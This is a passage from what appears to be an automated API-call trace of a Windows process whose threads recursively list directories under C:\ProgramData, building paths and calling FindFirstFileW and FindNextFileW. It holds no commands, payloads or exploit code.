	[0086.940] wcscmp (_String1="Logs", _String2="..") returned 1
	[0086.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x47534d0
	[0086.940] wcscpy (in: _Dest=0x47534d0, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health") returned="C:\\ProgramData\\Microsoft\\Windows Security Health"
	[0086.940] wcscat (in: _Dest=0x47534d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\"
	[0086.940] wcscat (in: _Dest=0x47534d0, _Source="Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0086.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47534d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1974
	[0086.941] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x2e28268 | out: lpFindFileData=0x2e28268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa1b0a55, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0xa1b0a55, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0
	[0086.941] FindClose (in: hFindFile=0x477a8e8 | out: hFindFile=0x477a8e8) returned 1
	[0086.941] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e28268) returned 1
	[0086.941] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e17268) returned 1
	[0086.941] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86c08) returned 1

Thread:
	id = 324
	os_tid = 0x1438

	[0076.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2dafca0
	[0076.863] wcscpy (in: _Dest=0x2dafca0, _Source="C:\\ProgramData\\Microsoft\\WinMSIPC" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC") returned="C:\\ProgramData\\Microsoft\\WinMSIPC"
	[0076.863] wcscat (in: _Dest=0x2dafca0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC\\") returned="C:\\ProgramData\\Microsoft\\WinMSIPC\\"
	[0076.863] wcscat (in: _Dest=0x2dafca0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC\\*") returned="C:\\ProgramData\\Microsoft\\WinMSIPC\\*"
	[0076.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e284d0
	[0076.863] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\*", lpFindFileData=0x2e284d0 | out: lpFindFileData=0x2e284d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d876b8
	[0079.949] wcscmp (_String1=".", _String2=".") returned 0
	[0079.949] FindNextFileW (in: hFindFile=0x2d876b8, lpFindFileData=0x2e284d0 | out: lpFindFileData=0x2e284d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.949] wcscmp (_String1="..", _String2=".") returned 1
	[0079.949] wcscmp (_String1="..", _String2="..") returned 0
	[0079.949] FindNextFileW (in: hFindFile=0x2d876b8, lpFindFileData=0x2e284d0 | out: lpFindFileData=0x2e284d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1
	[0079.949] wcscmp (_String1="Server", _String2=".") returned 1
	[0079.949] wcscmp (_String1="Server", _String2="..") returned 1
	[0079.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daf5a8
	[0079.949] wcscpy (in: _Dest=0x2daf5a8, _Source="C:\\ProgramData\\Microsoft\\WinMSIPC" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC") returned="C:\\ProgramData\\Microsoft\\WinMSIPC"
	[0079.949] wcscat (in: _Dest=0x2daf5a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC\\") returned="C:\\ProgramData\\Microsoft\\WinMSIPC\\"
	[0079.949] wcscat (in: _Dest=0x2daf5a8, _Source="Server" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server") returned="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server"
	[0092.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d778a0
	[0092.246] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server") returned="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server"
	[0092.246] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\") returned="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\"
	[0092.246] wcscat (in: _Dest=0x2d778a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\*") returned="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\*"
	[0092.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.246] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.246] wcscmp (_String1=".", _String2=".") returned 0
	[0092.246] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.246] wcscmp (_String1="..", _String2=".") returned 1
	[0092.246] wcscmp (_String1="..", _String2="..") returned 0
	[0092.246] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.246] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0092.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf5a8) returned 1
	[0092.247] FindNextFileW (in: hFindFile=0x2d876b8, lpFindFileData=0x2e284d0 | out: lpFindFileData=0x2e284d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0
	[0092.247] FindClose (in: hFindFile=0x2d876b8 | out: hFindFile=0x2d876b8) returned 1
	[0092.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e284d0) returned 1
	[0092.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dafca0) returned 1
	[0092.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8afe0) returned 1

Thread:
	id = 325
	os_tid = 0x143c

	[0076.864] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2dafd40
	[0076.864] wcscpy (in: _Dest=0x2dafd40, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc"
	[0076.864] wcscat (in: _Dest=0x2dafd40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\"
	[0076.864] wcscat (in: _Dest=0x2dafd40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\*"
	[0076.864] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e28738
	[0076.864] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x2e28738 | out: lpFindFileData=0x2e28738*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87678
	[0079.948] wcscmp (_String1=".", _String2=".") returned 0
	[0079.948] FindNextFileW (in: hFindFile=0x2d87678, lpFindFileData=0x2e28738 | out: lpFindFileData=0x2e28738*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.948] wcscmp (_String1="..", _String2=".") returned 1
	[0079.948] wcscmp (_String1="..", _String2="..") returned 0
	[0079.948] FindNextFileW (in: hFindFile=0x2d87678, lpFindFileData=0x2e28738 | out: lpFindFileData=0x2e28738*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMProfiles", cAlternateFileName="DMPROF~1")) returned 1
	[0079.949] wcscmp (_String1="DMProfiles", _String2=".") returned 1
	[0079.949] wcscmp (_String1="DMProfiles", _String2="..") returned 1
	[0079.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf548
	[0079.949] wcscpy (in: _Dest=0x2daf548, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc"
	[0079.949] wcscat (in: _Dest=0x2daf548, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\"
	[0079.949] wcscat (in: _Dest=0x2daf548, _Source="DMProfiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles"
	[0092.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4733798
	[0092.248] wcscpy (in: _Dest=0x4733798, _Source="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles"
	[0092.248] wcscat (in: _Dest=0x4733798, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\"
	[0092.248] wcscat (in: _Dest=0x4733798, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\*"
	[0092.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.248] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.248] wcscmp (_String1=".", _String2=".") returned 0
	[0092.248] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.248] wcscmp (_String1="..", _String2=".") returned 1
	[0092.248] wcscmp (_String1="..", _String2="..") returned 0
	[0092.248] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.248] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733798) returned 1
	[0092.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf548) returned 1
	[0092.248] FindNextFileW (in: hFindFile=0x2d87678, lpFindFileData=0x2e28738 | out: lpFindFileData=0x2e28738*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0092.248] wcscmp (_String1="Profiles", _String2=".") returned 1
	[0092.248] wcscmp (_String1="Profiles", _String2="..") returned 1
	[0092.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d77ae0
	[0092.248] wcscpy (in: _Dest=0x2d77ae0, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc"
	[0092.249] wcscat (in: _Dest=0x2d77ae0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\"
	[0092.249] wcscat (in: _Dest=0x2d77ae0, _Source="Profiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles"
	[0092.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77600
	[0092.249] wcscpy (in: _Dest=0x2d77600, _Source="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles"
	[0092.249] wcscat (in: _Dest=0x2d77600, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\"
	[0092.249] wcscat (in: _Dest=0x2d77600, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*"
	[0092.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.249] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.249] wcscmp (_String1=".", _String2=".") returned 0
	[0092.249] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.249] wcscmp (_String1="..", _String2=".") returned 1
	[0092.249] wcscmp (_String1="..", _String2="..") returned 0
	[0092.249] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.249] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77600) returned 1
	[0092.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ae0) returned 1
	[0092.249] FindNextFileW (in: hFindFile=0x2d87678, lpFindFileData=0x2e28738 | out: lpFindFileData=0x2e28738*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0092.250] FindClose (in: hFindFile=0x2d87678 | out: hFindFile=0x2d87678) returned 1
	[0092.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e28738) returned 1
	[0092.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dafd40) returned 1
	[0092.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8b170) returned 1

Thread:
	id = 326
	os_tid = 0x1440

	[0076.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daf188
	[0076.866] wcscpy (in: _Dest=0x2daf188, _Source="C:\\ProgramData\\Microsoft OneDrive\\setup" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\setup") returned="C:\\ProgramData\\Microsoft OneDrive\\setup"
	[0076.866] wcscat (in: _Dest=0x2daf188, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\setup\\") returned="C:\\ProgramData\\Microsoft OneDrive\\setup\\"
	[0076.866] wcscat (in: _Dest=0x2daf188, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\setup\\*") returned="C:\\ProgramData\\Microsoft OneDrive\\setup\\*"
	[0076.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e25980
	[0076.866] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x2e25980 | out: lpFindFileData=0x2e25980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacf78
	[0079.331] wcscmp (_String1=".", _String2=".") returned 0
	[0079.331] FindNextFileW (in: hFindFile=0x2dacf78, lpFindFileData=0x2e25980 | out: lpFindFileData=0x2e25980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.331] wcscmp (_String1="..", _String2=".") returned 1
	[0079.332] wcscmp (_String1="..", _String2="..") returned 0
	[0079.332] FindNextFileW (in: hFindFile=0x2dacf78, lpFindFileData=0x2e25980 | out: lpFindFileData=0x2e25980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 1
	[0079.332] wcscmp (_String1="refcount.ini", _String2=".") returned 1
	[0079.332] wcscmp (_String1="refcount.ini", _String2="..") returned 1
	[0079.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753ea8
	[0079.332] wcscpy (in: _Dest=0x4753ea8, _Source="C:\\ProgramData\\Microsoft OneDrive\\setup" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\setup") returned="C:\\ProgramData\\Microsoft OneDrive\\setup"
	[0079.332] wcscat (in: _Dest=0x4753ea8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\setup\\") returned="C:\\ProgramData\\Microsoft OneDrive\\setup\\"
	[0079.332] wcscat (in: _Dest=0x4753ea8, _Source="refcount.ini" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\setup\\refcount.ini") returned="C:\\ProgramData\\Microsoft OneDrive\\setup\\refcount.ini"

Thread:
	id = 327
	os_tid = 0x1444

	[0076.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73b28
	[0076.866] wcscpy (in: _Dest=0x2d73b28, _Source="C:\\ProgramData\\Oracle\\Java" | out: _Dest="C:\\ProgramData\\Oracle\\Java") returned="C:\\ProgramData\\Oracle\\Java"
	[0076.866] wcscat (in: _Dest=0x2d73b28, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\") returned="C:\\ProgramData\\Oracle\\Java\\"
	[0076.866] wcscat (in: _Dest=0x2d73b28, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\Java\\*") returned="C:\\ProgramData\\Oracle\\Java\\*"
	[0076.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e289a0
	[0076.867] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\*", lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.028] wcscmp (_String1=".", _String2=".") returned 0
